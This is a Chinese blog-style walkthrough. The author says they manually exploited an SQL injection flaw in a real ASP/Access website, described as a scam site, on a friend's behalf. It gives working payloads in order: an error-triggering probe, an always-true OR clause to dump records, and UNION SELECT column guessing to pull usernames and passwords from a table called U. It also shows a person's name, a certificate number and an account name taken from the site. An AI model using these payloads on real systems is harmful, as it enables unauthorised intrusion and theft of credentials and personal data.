本文作者老鬼,属本站原创,版权没有,随便转载。
昨天帮朋友注入一个骗子网站,随手测试了一下,朋友今天要我讲解思路及过程原理,下面文章完全是为朋友写的,不做过多解释了,我直接贴上来。
1、先尝试有没有注入漏洞,在搜索框输入%',发现报错,报错信息如下
Microsoft JET Database Engine 错误 '80040e14'
语法错误 (操作符丢失) 在查询表达式 'name='%'' and bid='123'' 中。
/zscx/S-2.asp,行 18
2、分析
从上面的信息可以看到数据库是ACCESS的,另外,语句有明显的注入漏洞。
虽然SQL语句没有完全爆出,但是从第二行信息
name='%'' and bid='123'
可以看出下面二点,姓名是NAME参数,编号是BID参数接受的。
另外猜想它的SQL语句原型,虽然不知道表明,但是仍然阻止不了我们的想象力,在不知道表明的情况下,为了描述方便,将表先定名为JL吧(记录之意。)所以SQL语句原型大致如下:
sql="select * from JL where name='A' and bid='B'"
注意A与B两边的单引号,意思为字符串型的。所以我们构造时提交的A为%'时,上面的SQL语句变为
sql="select * from JL where name='%'' and bid='B'"
明显语句有错,所以服务器返回上面的错误信息,与我们的猜结果是一致的。
有了上面的原型,构造语句就不难了。
随便提交个姓名与编号,代替上面的A与B的位置,
在浏览器中提交的时候姓名写:杨文敏,编号写:WY200856711
即SQL语句变为下面的
sql="select * from JL where name='杨文敏' and bid='WY200856711'"
注意,这两个值是随便构造的,数据库中并不存在的。提交查询后浏览器返回无记录的提示,说明语句是没有错的,提交的参数值也是符合查询条件的。
我们紧接着构造
select * from JL where name='杨文敏' or name<>'' and bid='WY200856711' or bid<>''
上面的语句只要姓名不为空即可满足条件,BID也不做限制,以便我们爆记录,不难看出,我们该从上面的语句中提取出我们想要的A与B,
A=杨文敏' or name<>'
B=WY200856711' or bid<>'
注意,我们一定要保证提交后的单引号到服务器以后,要和服务器SQL语句中的单引号配对,不然会报错。
提交以后浏览器成功返回一条记录。
证书详细信息
注册信息
姓名
吴明峰
证书编号
B1568916
至此,爆记录步骤完成。我们自己在改变语句,试着爆其它记录。
3、多表联合查询,爆用户名与密码。
小龙QQ上面发以下信息
我就跑出来一个表U
恩
卍卐 16:27:56
我手工注入的
Winck-龙 16:28:19
然后字段是sid,userpwd,name,username‘id
既然表和字段出来了,不用我猜了,我就直接开爆。
3.1、第一步,确认表是否存在
在用户名的地放输入吴明峰,编号的地方输入 B1568916' union 1,2,3 from admin where ''='
浏览器返回:确认admin表是否存在,由这个提示知道,ADMIN表是不存在的,我们猜错了。
换语句,
B1568916' union 1,2,3 from U where ''='
浏览器提示什么列数不相同之类的,说明表是存在的,只是字段数没猜对。
3.2 第二步,猜列数
依次提交
B1568916' union 1 from U where ''='
B1568916' union 1,2 from U where ''='
依上面累加。。。。。
发现到提交到
B1568916' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from u where ''='
的时候,页面正常返回了,即,说明从JL表中提取了16个字段(其实可以先从第2步成功后,大概数一下几个字段,不用这样辛苦的猜,但是这种是比较保险的一种方法),
当我们提交后,其实服务器的SQL语句应该是如下形式。
select * from JL where name='吴明峰' and bid='B1568916' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from u where ''=''
其中 A=吴明峰
B=B1568916' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from u where ''='
多表联合查询,一定要两张表的字段数是一样的才可以,提交上面语句后,页面正常返回,心里记下上面的页面上数字,然后想在显示字段的地放,将数字替换掉,再提交。
B=union select 1,2,userpwd,4,5,6,7,name,username,10,11,12,13,14,15,16 from u where ''='
页面报错,至少没有一项指定值 之类的,要麻是NAME保留字段报错,要麻其它原因,改一下重新提交
B=union select 1,2,userpwd,4,5,6,7,[name],username,10,11,12,13,14,15,16 from u where ''='
依然报错,然后一项项排除,即用数据还原回来,每次提交只提交一个字段,发现是NAME字段报错,应该数把库表U中没有NAME这个字段。重新构造语句如下,提交
B=B1568916' union select 1,username,userpwd,4,5,6,7,8,9,10,11,12,13,14,15,16 from u where ''='
成功爆出用户名及密码信息 qhzc0022,密码,如下图
信息直接在页面显示。
联合表查询至此完成。
上面的过程是按昨天的过程回想写的,可能会有一点点小出入,但思路就是这样的。